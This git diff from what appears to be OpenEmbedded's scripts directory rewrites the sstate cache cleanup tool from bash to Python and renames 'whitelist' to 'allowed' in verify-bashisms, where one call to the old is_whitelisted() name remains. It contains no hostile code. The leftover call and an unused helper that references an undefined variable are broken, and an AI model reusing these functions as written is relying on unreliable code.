diff --git a/scripts/sstate-cache-management.py b/scripts/sstate-cache-management.py
new file mode 100755
index 0000000000..d3f600bd28
--- /dev/null
+++ b/scripts/sstate-cache-management.py
@@ -0,0 +1,329 @@
+#!/usr/bin/env python3
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import argparse
+import os
+import re
+import sys
+
+from collections import defaultdict
+from concurrent.futures import ThreadPoolExecutor
+from dataclasses import dataclass
+from pathlib import Path
+
+if sys.version_info < (3, 8, 0):
+ raise RuntimeError("Sorry, python 3.8.0 or later is required for this script.")
+
+SSTATE_PREFIX = "sstate:"
+SSTATE_EXTENSION = ".tar.zst"
+# SSTATE_EXTENSION = ".tgz"
+# .siginfo.done files are mentioned in the original script?
+SSTATE_SUFFIXES = (
+ SSTATE_EXTENSION,
+ f"{SSTATE_EXTENSION}.siginfo",
+ f"{SSTATE_EXTENSION}.done",
+)
+
+RE_SSTATE_PKGSPEC = re.compile(
+ rf"""sstate:(?P<pn>[^:]*):
+ (?P<package_target>[^:]*):
+ (?P<pv>[^:]*):
+ (?P<pr>[^:]*):
+ (?P<sstate_pkgarch>[^:]*):
+ (?P<sstate_version>[^_]*):
+ (?P<bb_unihash>[^_]*)_
+ (?P<bb_task>[^:]*)
+ (?P<ext>({"|".join([re.escape(s) for s in SSTATE_SUFFIXES])}))$""",
+ re.X,
+)
+
+
+# Really we'd like something like a Path subclass which implements a stat
+# cache here, unfortunately there's no good way to do that transparently
+# (yet); see:
+#
+# https://github.com/python/cpython/issues/70219
+# https://discuss.python.org/t/make-pathlib-extensible/3428/77
+@dataclass
+class SstateEntry:
+ """Class for keeping track of an entry in sstate-cache."""
+
+ path: Path
+ match: re.Match
+ stat_result: os.stat_result = None
+
+ def __hash__(self):
+ return self.path.__hash__()
+
+ def __getattr__(self, name):
+ return self.match.group(name)
+
+
+# this is what's in the original script; as far as I can tell, it's an
+# implementation artefact which we don't need?
+def find_archs():
+ # all_archs
+ builder_arch = os.uname().machine
+
+ # FIXME
+ layer_paths = [Path("../..")]
+
+ tune_archs = set()
+ re_tune = re.compile(r'AVAILTUNES .*=.*"(.*)"')
+ for path in layer_paths:
+ for tunefile in [
+ p for p in path.glob("meta*/conf/machine/include/**/*") if p.is_file()
+ ]:
+ with open(tunefile) as f:
+ for line in f:
+ m = re_tune.match(line)
+ if m:
+ tune_archs.update(m.group(1).split())
+
+ # all_machines
+ machine_archs = set()
+ for path in layer_paths:
+ for machine_file in path.glob("meta*/conf/machine/*.conf"):
+ machine_archs.add(machine_file.parts[-1][:-5])
+
+ extra_archs = set()
+ all_archs = (
+ set(
+ arch.replace("-", "_")
+ for arch in machine_archs | tune_archs | set(["allarch", builder_arch])
+ )
+ | extra_archs
+ )
+
+ print(all_archs)
+
+
+# again, not needed?
+def find_tasks():
+ print(set([p.bb_task for p in paths]))
+
+
+def collect_sstate_paths(args):
+ def scandir(path, paths):
+ # Assume everything is a directory; by not checking we avoid needing an
+ # additional stat which is potentially a synchronous roundtrip over NFS
+ try:
+ for p in path.iterdir():
+ filename = p.parts[-1]
+ if filename.startswith(SSTATE_PREFIX):
+ if filename.endswith(SSTATE_SUFFIXES):
+ m = RE_SSTATE_PKGSPEC.match(p.parts[-1])
+ assert m
+ paths.add(SstateEntry(p, m))
+ # ignore other things (includes things like lockfiles)
+ else:
+ scandir(p, paths)
+
+ except NotADirectoryError:
+ pass
+
+ paths = set()
+ # TODO: parellise scandir
+ scandir(Path(args.cache_dir), paths)
+
+ def path_stat(p):
+ p.stat_result = p.path.lstat()
+
+ if args.remove_duplicated:
+ # This is probably slightly performance negative on a local filesystem
+ # when we interact with the GIL; over NFS it's a massive win.
+ with ThreadPoolExecutor(max_workers=args.jobs) as executor:
+ executor.map(path_stat, paths)
+
+ return paths
+
+
+def remove_by_stamps(args, paths):
+ all_sums = set()
+ for stamps_dir in args.stamps_dir:
+ stamps_path = Path(stamps_dir)
+ assert stamps_path.is_dir()
+ re_sigdata = re.compile(r"do_.*\.sigdata\.([^.]*)")
+ all_sums |= set(
+ [
+ re_sigdata.search(x.parts[-1]).group(1)
+ for x in stamps_path.glob("*/*/*.do_*.sigdata.*")
+ ]
+ )
+ re_setscene = re.compile(r"do_.*_setscene\.([^.]*)")
+ all_sums |= set(
+ [
+ re_setscene.search(x.parts[-1]).group(1)
+ for x in stamps_path.glob("*/*/*.do_*_setscene.*")
+ ]
+ )
+ return [p for p in paths if p.bb_unihash not in all_sums]
+
+
+def remove_duplicated(args, paths):
+ # Skip populate_lic as it produces duplicates in a normal build
+ #
+ # 9ae16469e707 sstate-cache-management: skip populate_lic archives when removing duplicates
+ valid_paths = [p for p in paths if p.bb_task != "populate_lic"]
+
+ keep = dict()
+ remove = list()
+ for p in valid_paths:
+ sstate_sig = ":".join([p.pn, p.sstate_pkgarch, p.bb_task, p.ext])
+ if sstate_sig not in keep:
+ keep[sstate_sig] = p
+ elif p.stat_result.st_mtime > keep[sstate_sig].stat_result.st_mtime:
+ remove.append(keep[sstate_sig])
+ keep[sstate_sig] = p
+ else:
+ remove.append(p)
+
+ return remove
+
+
+def remove_orphans(args, paths):
+ remove = list()
+ pathsigs = defaultdict(list)
+ for p in paths:
+ sstate_sig = ":".join([p.pn, p.sstate_pkgarch, p.bb_task])
+ pathsigs[sstate_sig].append(p)
+ for k, v in pathsigs.items():
+ if len([p for p in v if p.ext == SSTATE_EXTENSION]) == 0:
+ remove.extend(v)
+ return remove
+
+
+def parse_arguments():
+ parser = argparse.ArgumentParser(description="sstate cache management utility.")
+
+ parser.add_argument(
+ "--cache-dir",
+ default=os.environ.get("SSTATE_CACHE_DIR"),
+ help="""Specify sstate cache directory, will use the environment
+ variable SSTATE_CACHE_DIR if it is not specified.""",
+ )
+
+ # parser.add_argument(
+ # "--extra-archs",
+ # help="""Specify list of architectures which should be tested, this list
+ # will be extended with native arch, allarch and empty arch. The
+ # script won't be trying to generate list of available archs from
+ # AVAILTUNES in tune files.""",
+ # )
+
+ # parser.add_argument(
+ # "--extra-layer",
+ # help="""Specify the layer which will be used for searching the archs,
+ # it will search the meta and meta-* layers in the top dir by
+ # default, and will search meta, meta-*, <layer1>, <layer2>,
+ # ...<layern> when specified. Use "," as the separator.
+ #
+ # This is useless for --stamps-dir or when --extra-archs is used.""",
+ # )
+
+ parser.add_argument(
+ "-d",
+ "--remove-duplicated",
+ action="store_true",
+ help="""Remove the duplicated sstate cache files of one package, only
+ the newest one will be kept. The duplicated sstate cache files
+ of one package must have the same arch, which means sstate cache
+ files with multiple archs are not considered duplicate.
+
+ Conflicts with --stamps-dir.""",
+ )
+
+ parser.add_argument(
+ "--remove-orphans",
+ action="store_true",
+ help=f"""Remove orphan siginfo files from the sstate cache, i.e. those
+ where this is no {SSTATE_EXTENSION} file but there are associated
+ tracking files.""",
+ )
+
+ parser.add_argument(
+ "--stamps-dir",
+ action="append",
+ help="""Specify the build directory's stamps directories, the sstate
+ cache file which IS USED by these build diretories will be KEPT,
+ other sstate cache files in cache-dir will be removed. Can be
+ specified multiple times for several directories.
+
+ Conflicts with --remove-duplicated.""",
+ )
+
+ parser.add_argument(
+ "-j", "--jobs", default=8, type=int, help="Run JOBS jobs in parallel."
+ )
+
+ # parser.add_argument(
+ # "-L",
+ # "--follow-symlink",
+ # action="store_true",
+ # help="Remove both the symbol link and the destination file, default: no.",
+ # )
+
+ parser.add_argument(
+ "-y",
+ "--yes",
+ action="store_true",
+ help="""Automatic yes to prompts; assume "yes" as answer to all prompts
+ and run non-interactively.""",
+ )
+
+ parser.add_argument(
+ "-v", "--verbose", action="store_true", help="Explain what is being done."
+ )
+
+ parser.add_argument(
+ "-D",
+ "--debug",
+ action="count",
+ default=0,
+ help="Show debug info, repeat for more debug info.",
+ )
+
+ args = parser.parse_args()
+ if args.cache_dir is None or (
+ not args.remove_duplicated and not args.stamps_dir and not args.remove_orphans
+ ):
+ parser.print_usage()
+ sys.exit(1)
+
+ return args
+
+
+def main():
+ args = parse_arguments()
+
+ paths = collect_sstate_paths(args)
+ if args.remove_duplicated:
+ remove = remove_duplicated(args, paths)
+ elif args.stamps_dir:
+ remove = remove_by_stamps(args, paths)
+ else:
+ remove = list()
+
+ if args.remove_orphans:
+ remove = set(remove) | set(remove_orphans(args, paths))
+
+ if args.debug >= 1:
+ print("\n".join([str(p.path) for p in remove]))
+ print(f"{len(remove)} out of {len(paths)} files will be removed!")
+ if not args.yes:
+ print("Do you want to continue (y/n)?")
+ confirm = input() in ("y", "Y")
+ else:
+ confirm = True
+ if confirm:
+ # TODO: parallelise remove
+ for p in remove:
+ p.path.unlink()
+
+
+if __name__ == "__main__":
+ main()
diff --git a/scripts/sstate-cache-management.sh b/scripts/sstate-cache-management.sh
deleted file mode 100755
index f1706a2229..0000000000
--- a/scripts/sstate-cache-management.sh
+++ /dev/null
@@ -1,458 +0,0 @@
-#!/bin/bash
-
-# Copyright (c) 2012 Wind River Systems, Inc.
-#
-# SPDX-License-Identifier: GPL-2.0-only
-#
-
-# Global vars
-cache_dir=
-confirm=
-fsym=
-total_deleted=0
-verbose=
-debug=0
-
-usage () {
- cat << EOF
-Welcome to sstate cache management utilities.
-sstate-cache-management.sh <OPTION>
-
-Options:
- -h, --help
- Display this help and exit.
-
- --cache-dir=<sstate cache dir>
- Specify sstate cache directory, will use the environment
- variable SSTATE_CACHE_DIR if it is not specified.
-
- --extra-archs=<arch1>,<arch2>...<archn>
- Specify list of architectures which should be tested, this list
- will be extended with native arch, allarch and empty arch. The
- script won't be trying to generate list of available archs from
- AVAILTUNES in tune files.
-
- --extra-layer=<layer1>,<layer2>...<layern>
- Specify the layer which will be used for searching the archs,
- it will search the meta and meta-* layers in the top dir by
- default, and will search meta, meta-*, <layer1>, <layer2>,
- ...<layern> when specified. Use "," as the separator.
-
- This is useless for --stamps-dir or when --extra-archs is used.
-
- -d, --remove-duplicated
- Remove the duplicated sstate cache files of one package, only
- the newest one will be kept. The duplicated sstate cache files
- of one package must have the same arch, which means sstate cache
- files with multiple archs are not considered duplicate.
-
- Conflicts with --stamps-dir.
-
- --stamps-dir=<dir1>,<dir2>...<dirn>
- Specify the build directory's stamps directories, the sstate
- cache file which IS USED by these build diretories will be KEPT,
- other sstate cache files in cache-dir will be removed. Use ","
- as the separator. For example:
- --stamps-dir=build1/tmp/stamps,build2/tmp/stamps
-
- Conflicts with --remove-duplicated.
-
- -L, --follow-symlink
- Remove both the symbol link and the destination file, default: no.
-
- -y, --yes
- Automatic yes to prompts; assume "yes" as answer to all prompts
- and run non-interactively.
-
- -v, --verbose
- Explain what is being done.
-
- -D, --debug
- Show debug info, repeat for more debug info.
-
-EOF
-}
-
-if [ $# -lt 1 ]; then
- usage
- exit 0
-fi
-
-# Echo no files to remove
-no_files () {
- echo No files to remove
-}
-
-# Echo nothing to do
-do_nothing () {
- echo Nothing to do
-}
-
-# Read the input "y"
-read_confirm () {
- echo "$total_deleted out of $total_files files will be removed! "
- if [ "$confirm" != "y" ]; then
- echo "Do you want to continue (y/n)? "
- while read confirm; do
- [ "$confirm" = "Y" -o "$confirm" = "y" -o "$confirm" = "n" \
- -o "$confirm" = "N" ] && break
- echo "Invalid input \"$confirm\", please input 'y' or 'n': "
- done
- else
- echo
- fi
-}
-
-# Print error information and exit.
-echo_error () {
- echo "ERROR: $1" >&2
- exit 1
-}
-
-# Generate the remove list:
-#
-# * Add .done/.siginfo to the remove list
-# * Add destination of symlink to the remove list
-#
-# $1: output file, others: sstate cache file (.tgz)
-gen_rmlist (){
- local rmlist_file="$1"
- shift
- local files="$@"
- for i in $files; do
- echo $i >> $rmlist_file
- # Add the ".siginfo"
- if [ -e $i.siginfo ]; then
- echo $i.siginfo >> $rmlist_file
- fi
- # Add the destination of symlink
- if [ -L "$i" ]; then
- if [ "$fsym" = "y" ]; then
- dest="`readlink -e $i`"
- if [ -n "$dest" ]; then
- echo $dest >> $rmlist_file
- # Remove the .siginfo when .tgz is removed
- if [ -f "$dest.siginfo" ]; then
- echo $dest.siginfo >> $rmlist_file
- fi
- fi
- fi
- # Add the ".tgz.done" and ".siginfo.done" (may exist in the future)
- base_fn="${i##/*/}"
- t_fn="$base_fn.done"
- s_fn="$base_fn.siginfo.done"
- for d in $t_fn $s_fn; do
- if [ -f $cache_dir/$d ]; then
- echo $cache_dir/$d >> $rmlist_file
- fi
- done
- fi
- done
-}
-
-# Remove the duplicated cache files for the pkg, keep the newest one
-remove_duplicated () {
-
- local topdir
- local oe_core_dir
- local tunedirs
- local all_archs
- local all_machines
- local ava_archs
- local arch
- local file_names
- local sstate_files_list
- local fn_tmp
- local list_suffix=`mktemp` || exit 1
-
- if [ -z "$extra_archs" ] ; then
- # Find out the archs in all the layers
- echo "Figuring out the archs in the layers ... "
- oe_core_dir=$(dirname $(dirname $(readlink -e $0)))
- topdir=$(dirname $oe_core_dir)
- tunedirs="`find $topdir/meta* ${oe_core_dir}/meta* $layers -path '*/meta*/conf/machine/include' 2>/dev/null`"
- [ -n "$tunedirs" ] || echo_error "Can't find the tune directory"
- all_machines="`find $topdir/meta* ${oe_core_dir}/meta* $layers -path '*/meta*/conf/machine/*' -name '*.conf' 2>/dev/null | sed -e 's/.*\///' -e 's/.conf$//'`"
- all_archs=`grep -r -h "^AVAILTUNES .*=" $tunedirs | sed -e 's/.*=//' -e 's/\"//g'`
- fi
-
- # Use the "_" to substitute "-", e.g., x86-64 to x86_64, but not for extra_archs which can be something like cortexa9t2-vfp-neon
- # Sort to remove the duplicated ones
- # Add allarch and builder arch (native)
- builder_arch=$(uname -m)
- all_archs="$(echo allarch $all_archs $all_machines $builder_arch \
- | sed -e 's/-/_/g' -e 's/ /\n/g' | sort -u) $extra_archs"
- echo "Done"
-
- # Total number of files including sstate-, .siginfo and .done files
- total_files=`find $cache_dir -name 'sstate*' | wc -l`
- # Save all the sstate files in a file
- sstate_files_list=`mktemp` || exit 1
- find $cache_dir -name 'sstate:*:*:*:*:*:*:*.tgz*' >$sstate_files_list
-
- echo "Figuring out the suffixes in the sstate cache dir ... "
- sstate_suffixes="`sed 's%.*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^_]*_\([^:]*\)\.tgz.*%\1%g' $sstate_files_list | sort -u`"
- echo "Done"
- echo "The following suffixes have been found in the cache dir:"
- echo $sstate_suffixes
-
- echo "Figuring out the archs in the sstate cache dir ... "
- # Using this SSTATE_PKGSPEC definition it's 6th colon separated field
- # SSTATE_PKGSPEC = "sstate:${PN}:${PACKAGE_ARCH}${TARGET_VENDOR}-${TARGET_OS}:${PV}:${PR}:${SSTATE_PKGARCH}:${SSTATE_VERSION}:"
- for arch in $all_archs; do
- grep -q ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:$arch:[^:]*:[^:]*\.tgz$" $sstate_files_list
- [ $? -eq 0 ] && ava_archs="$ava_archs $arch"
- # ${builder_arch}_$arch used by toolchain sstate
- grep -q ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:${builder_arch}_$arch:[^:]*:[^:]*\.tgz$" $sstate_files_list
- [ $? -eq 0 ] && ava_archs="$ava_archs ${builder_arch}_$arch"
- done
- echo "Done"
- echo "The following archs have been found in the cache dir:"
- echo $ava_archs
- echo ""
-
- # Save the file list which needs to be removed
- local remove_listdir=`mktemp -d` || exit 1
- for suffix in $sstate_suffixes; do
- if [ "$suffix" = "populate_lic" ] ; then
- echo "Skipping populate_lic, because removing duplicates doesn't work correctly for them (use --stamps-dir instead)"
- continue
- fi
- # Total number of files including .siginfo and .done files
- total_files_suffix=`grep ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:_]*_$suffix\.tgz.*" $sstate_files_list | wc -l 2>/dev/null`
- total_tgz_suffix=`grep ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:_]*_$suffix\.tgz$" $sstate_files_list | wc -l 2>/dev/null`
- # Save the file list to a file, some suffix's file may not exist
- grep ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:_]*_$suffix\.tgz.*" $sstate_files_list >$list_suffix 2>/dev/null
- local deleted_tgz=0
- local deleted_files=0
- for ext in tgz tgz.siginfo tgz.done; do
- echo "Figuring out the sstate:xxx_$suffix.$ext ... "
- # Uniq BPNs
- file_names=`for arch in $ava_archs ""; do
- sed -ne "s%.*/sstate:\([^:]*\):[^:]*:[^:]*:[^:]*:$arch:[^:]*:[^:]*\.${ext}$%\1%p" $list_suffix
- done | sort -u`
-
- fn_tmp=`mktemp` || exit 1
- rm_list="$remove_listdir/sstate:xxx_$suffix"
- for fn in $file_names; do
- [ -z "$verbose" ] || echo "Analyzing sstate:$fn-xxx_$suffix.${ext}"
- for arch in $ava_archs ""; do
- grep -h ".*/sstate:$fn:[^:]*:[^:]*:[^:]*:$arch:[^:]*:[^:]*\.${ext}$" $list_suffix >$fn_tmp
- if [ -s $fn_tmp ] ; then
- [ $debug -gt 1 ] && echo "Available files for $fn-$arch- with suffix $suffix.${ext}:" && cat $fn_tmp
- # Use the modification time
- to_del=$(ls -t $(cat $fn_tmp) | sed -n '1!p')
- [ $debug -gt 2 ] && echo "Considering to delete: $to_del"
- # The sstate file which is downloaded from the SSTATE_MIRROR is
- # put in SSTATE_DIR, and there is a symlink in SSTATE_DIR/??/ to
- # it, so filter it out from the remove list if it should not be
- # removed.
- to_keep=$(ls -t $(cat $fn_tmp) | sed -n '1p')
- [ $debug -gt 2 ] && echo "Considering to keep: $to_keep"
- for k in $to_keep; do
- if [ -L "$k" ]; then
- # The symlink's destination
- k_dest="`readlink -e $k`"
- # Maybe it is the one in cache_dir
- k_maybe="$cache_dir/${k##/*/}"
- # Remove it from the remove list if they are the same.
- if [ "$k_dest" = "$k_maybe" ]; then
- to_del="`echo $to_del | sed 's#'\"$k_maybe\"'##g'`"
- fi
- fi
- done
- rm -f $fn_tmp
- [ $debug -gt 2 ] && echo "Decided to delete: $to_del"
- gen_rmlist $rm_list.$ext "$to_del"
- fi
- done
- done
- done
- deleted_tgz=`cat $rm_list.* 2>/dev/null | grep ".tgz$" | wc -l`
- deleted_files=`cat $rm_list.* 2>/dev/null | wc -l`
- [ "$deleted_files" -gt 0 -a $debug -gt 0 ] && cat $rm_list.*
- echo "($deleted_tgz out of $total_tgz_suffix .tgz files for $suffix suffix will be removed or $deleted_files out of $total_files_suffix when counting also .siginfo and .done files)"
- let total_deleted=$total_deleted+$deleted_files
- done
- deleted_tgz=0
- rm_old_list=$remove_listdir/sstate-old-filenames
- find $cache_dir -name 'sstate-*.tgz' >$rm_old_list
- [ -s "$rm_old_list" ] && deleted_tgz=`cat $rm_old_list | grep ".tgz$" | wc -l`
- [ -s "$rm_old_list" ] && deleted_files=`cat $rm_old_list | wc -l`
- [ -s "$rm_old_list" -a $debug -gt 0 ] && cat $rm_old_list
- echo "($deleted_tgz .tgz files with old sstate-* filenames will be removed or $deleted_files when counting also .siginfo and .done files)"
- let total_deleted=$total_deleted+$deleted_files
-
- rm -f $list_suffix
- rm -f $sstate_files_list
- if [ $total_deleted -gt 0 ]; then
- read_confirm
- if [ "$confirm" = "y" -o "$confirm" = "Y" ]; then
- for list in `ls $remove_listdir/`; do
- echo "Removing $list.tgz (`cat $remove_listdir/$list | wc -w` files) ... "
- # Remove them one by one to avoid the argument list too long error
- for i in `cat $remove_listdir/$list`; do
- rm -f $verbose $i
- done
- echo "Done"
- done
- echo "$total_deleted files have been removed!"
- else
- do_nothing
- fi
- else
- no_files
- fi
- [ -d $remove_listdir ] && rm -fr $remove_listdir
-}
-
-# Remove the sstate file by stamps dir, the file not used by the stamps dir
-# will be removed.
-rm_by_stamps (){
-
- local cache_list=`mktemp` || exit 1
- local keep_list=`mktemp` || exit 1
- local rm_list=`mktemp` || exit 1
- local sums
- local all_sums
-
- # Total number of files including sstate-, .siginfo and .done files
- total_files=`find $cache_dir -type f -name 'sstate*' | wc -l`
- # Save all the state file list to a file
- find $cache_dir -type f -name 'sstate*' | sort -u -o $cache_list
-
- echo "Figuring out the suffixes in the sstate cache dir ... "
- local sstate_suffixes="`sed 's%.*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^_]*_\([^:]*\)\.tgz.*%\1%g' $cache_list | sort -u`"
- echo "Done"
- echo "The following suffixes have been found in the cache dir:"
- echo $sstate_suffixes
-
- # Figure out all the md5sums in the stamps dir.
- echo "Figuring out all the md5sums in stamps dir ... "
- for i in $sstate_suffixes; do
- # There is no "\.sigdata" but "_setcene" when it is mirrored
- # from the SSTATE_MIRRORS, use them to figure out the sum.
- sums=`find $stamps -maxdepth 3 -name "*.do_$i.*" \
- -o -name "*.do_${i}_setscene.*" | \
- sed -ne 's#.*_setscene\.##p' -e 's#.*\.sigdata\.##p' | \
- sed -e 's#\..*##' | sort -u`
- all_sums="$all_sums $sums"
- done
- echo "Done"
-
- echo "Figuring out the files which will be removed ... "
- for i in $all_sums; do
- grep ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:${i}_.*" $cache_list >>$keep_list
- done
- echo "Done"
-
- if [ -s $keep_list ]; then
- sort -u $keep_list -o $keep_list
- to_del=`comm -1 -3 $keep_list $cache_list`
- gen_rmlist $rm_list "$to_del"
- let total_deleted=`cat $rm_list | sort -u | wc -w`
- if [ $total_deleted -gt 0 ]; then
- [ $debug -gt 0 ] && cat $rm_list | sort -u
- read_confirm
- if [ "$confirm" = "y" -o "$confirm" = "Y" ]; then
- echo "Removing sstate cache files ... ($total_deleted files)"
- # Remove them one by one to avoid the argument list too long error
- for i in `cat $rm_list | sort -u`; do
- rm -f $verbose $i
- done
- echo "$total_deleted files have been removed"
- else
- do_nothing
- fi
- else
- no_files
- fi
- else
- echo_error "All files in cache dir will be removed! Abort!"
- fi
-
- rm -f $cache_list
- rm -f $keep_list
- rm -f $rm_list
-}
-
-# Parse arguments
-while [ -n "$1" ]; do
- case $1 in
- --cache-dir=*)
- cache_dir=`echo $1 | sed -e 's#^--cache-dir=##' | xargs readlink -e`
- [ -d "$cache_dir" ] || echo_error "Invalid argument to --cache-dir"
- shift
- ;;
- --remove-duplicated|-d)
- rm_duplicated="y"
- shift
- ;;
- --yes|-y)
- confirm="y"
- shift
- ;;
- --follow-symlink|-L)
- fsym="y"
- shift
- ;;
- --extra-archs=*)
- extra_archs=`echo $1 | sed -e 's#^--extra-archs=##' -e 's#,# #g'`
- [ -n "$extra_archs" ] || echo_error "Invalid extra arch parameter"
- shift
- ;;
- --extra-layer=*)
- extra_layers=`echo $1 | sed -e 's#^--extra-layer=##' -e 's#,# #g'`
- [ -n "$extra_layers" ] || echo_error "Invalid extra layer parameter"
- for i in $extra_layers; do
- l=`readlink -e $i`
- if [ -d "$l" ]; then
- layers="$layers $l"
- else
- echo_error "Can't find layer $i"
- fi
- done
- shift
- ;;
- --stamps-dir=*)
- stamps=`echo $1 | sed -e 's#^--stamps-dir=##' -e 's#,# #g'`
- [ -n "$stamps" ] || echo_error "Invalid stamps dir $i"
- for i in $stamps; do
- [ -d "$i" ] || echo_error "Invalid stamps dir $i"
- done
- shift
- ;;
- --verbose|-v)
- verbose="-v"
- shift
- ;;
- --debug|-D)
- debug=`expr $debug + 1`
- echo "Debug level $debug"
- shift
- ;;
- --help|-h)
- usage
- exit 0
- ;;
- *)
- echo "Invalid arguments $*"
- echo_error "Try 'sstate-cache-management.sh -h' for more information."
- ;;
- esac
-done
-
-# sstate cache directory, use environment variable SSTATE_CACHE_DIR
-# if it was not specified, otherwise, error.
-[ -n "$cache_dir" ] || cache_dir=$SSTATE_CACHE_DIR
-[ -n "$cache_dir" ] || echo_error "No cache dir found!"
-[ -d "$cache_dir" ] || echo_error "Invalid cache directory \"$cache_dir\""
-
-[ -n "$rm_duplicated" -a -n "$stamps" ] && \
- echo_error "Can not use both --remove-duplicated and --stamps-dir"
-
-[ "$rm_duplicated" = "y" ] && remove_duplicated
-[ -n "$stamps" ] && rm_by_stamps
-[ -z "$rm_duplicated" -a -z "$stamps" ] && \
- echo "What do you want to do?"
-exit 0
diff --git a/scripts/sstate-diff-machines.sh b/scripts/sstate-diff-machines.sh
index 1d721eb87d..5ed413b2ee 100755
--- a/scripts/sstate-diff-machines.sh
+++ b/scripts/sstate-diff-machines.sh
@@ -1,5 +1,7 @@
#!/bin/bash
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Used to compare sstate checksums between MACHINES.
@@ -127,6 +129,8 @@ for M in ${machines}; do
fi
done
+COMPARE_TASKS="do_configure.sigdata do_populate_sysroot.sigdata do_package_write_ipk.sigdata do_package_write_rpm.sigdata do_package_write_deb.sigdata do_package_write_tar.sigdata"
+
function compareSignatures() {
MACHINE1=$1
MACHINE2=$2
@@ -134,7 +138,7 @@ function compareSignatures() {
PRE_PATTERN=""
[ -n "${PATTERN}" ] || PRE_PATTERN="-v"
[ -n "${PATTERN}" ] || PATTERN="MACHINE"
- for TASK in do_configure.sigdata do_populate_sysroot.sigdata do_package_write_ipk.sigdata; do
+ for TASK in $COMPARE_TASKS; do
printf "\n\n === Comparing signatures for task ${TASK} between ${MACHINE1} and ${MACHINE2} ===\n" | tee -a ${OUTPUT}/signatures.${MACHINE2}.${TASK}.log
diff ${OUTPUT}/${MACHINE1}/list.M ${OUTPUT}/${MACHINE2}/list.M | grep ${PRE_PATTERN} "${PATTERN}" | grep ${TASK} > ${OUTPUT}/signatures.${MACHINE2}.${TASK}
for i in `cat ${OUTPUT}/signatures.${MACHINE2}.${TASK} | sed 's#[^/]*/\([^/]*\)/.*#\1#g' | sort -u | xargs`; do
diff --git a/scripts/sstate-sysroot-cruft.sh b/scripts/sstate-sysroot-cruft.sh
index fbf1ca3c43..b2002badfb 100755
--- a/scripts/sstate-sysroot-cruft.sh
+++ b/scripts/sstate-sysroot-cruft.sh
@@ -1,5 +1,7 @@
#!/bin/sh
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Used to find files installed in sysroot which are not tracked by sstate manifest
@@ -145,18 +147,6 @@ WHITELIST="${WHITELIST} \
.*/var/cache/fontconfig/ \
"
-# created by oe.utils.write_ld_so_conf which is used from few bbclasses and recipes:
-# meta/classes/image-prelink.bbclass: oe.utils.write_ld_so_conf(d)
-# meta/classes/insane.bbclass: oe.utils.write_ld_so_conf(d)
-# meta/classes/insane.bbclass: oe.utils.write_ld_so_conf(d)
-# meta/recipes-gnome/gobject-introspection/gobject-introspection_1.48.0.bb: oe.utils.write_ld_so_conf(d)
-# meta/recipes-gnome/gobject-introspection/gobject-introspection_1.48.0.bb: oe.utils.write_ld_so_conf(d)
-# introduced in oe-core commit 7fd1d7e639c2ed7e0699937a5cb245c187b7c811
-# and more visible since added to gobject-introspection in 10e0c1a3a452baa05d160a92a54b2e33cf0fd061
-WHITELIST="${WHITELIST} \
- [^/]*/etc/ld.so.conf \
-"
-
SYSROOTS="`readlink -f ${tmpdir}`/sysroots/"
mkdir ${OUTPUT}
diff --git a/scripts/sysroot-relativelinks.py b/scripts/sysroot-relativelinks.py
index 56e36f3ad5..ccb3c867f0 100755
--- a/scripts/sysroot-relativelinks.py
+++ b/scripts/sysroot-relativelinks.py
@@ -1,5 +1,7 @@
#!/usr/bin/env python3
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/scripts/task-time b/scripts/task-time
index bcd1e25817..8f71b29b77 100755
--- a/scripts/task-time
+++ b/scripts/task-time
@@ -1,5 +1,7 @@
#!/usr/bin/env python3
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/scripts/verify-bashisms b/scripts/verify-bashisms
index fb0cc719ea..fc3677c6ed 100755
--- a/scripts/verify-bashisms
+++ b/scripts/verify-bashisms
@@ -1,11 +1,13 @@
#!/usr/bin/env python3
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
import sys, os, subprocess, re, shutil
-whitelist = (
+allowed = (
# type is supported by dash
'if type systemctl >/dev/null 2>/dev/null; then',
'if type systemd-tmpfiles >/dev/null 2>/dev/null; then',
@@ -19,8 +21,8 @@ whitelist = (
'. $target_sdk_dir/${oe_init_build_env_path} $target_sdk_dir >> $LOGFILE'
)
-def is_whitelisted(s):
- for w in whitelist:
+def is_allowed(s):
+ for w in allowed:
if w in s:
return True
return False
@@ -49,7 +51,7 @@ def process(filename, function, lineno, script):
output = e.output.replace(fn.name, function)
if not output or not output.startswith('possible bashism'):
# Probably starts with or contains only warnings. Dump verbatim
- # with one space indention. Can't do the splitting and whitelist
+ # with one space indention. Can't do the splitting and allowed
# checking below.
return '\n'.join([filename,
' Unexpected output from checkbashisms.pl'] +
@@ -65,7 +67,7 @@ def process(filename, function, lineno, script):
# ...
# ...
result = []
- # Check the results against the whitelist
+ # Check the results against the allowed list
for message, source in zip(output[0::2], output[1::2]):
if not is_whitelisted(source):
if lineno is not None:
@@ -100,7 +102,7 @@ if __name__=='__main__':
args = parser.parse_args()
if shutil.which("checkbashisms.pl") is None:
- print("Cannot find checkbashisms.pl on $PATH, get it from https://anonscm.debian.org/cgit/collab-maint/devscripts.git/plain/scripts/checkbashisms.pl")
+ print("Cannot find checkbashisms.pl on $PATH, get it from https://salsa.debian.org/debian/devscripts/raw/master/scripts/checkbashisms.pl")
sys.exit(1)
# The order of defining the worker function,
diff --git a/scripts/wic b/scripts/wic
index 24700f380f..06e0b48db0 100755
--- a/scripts/wic
+++ b/scripts/wic
@@ -22,9 +22,9 @@ import sys
import argparse
import logging
import subprocess
+import shutil
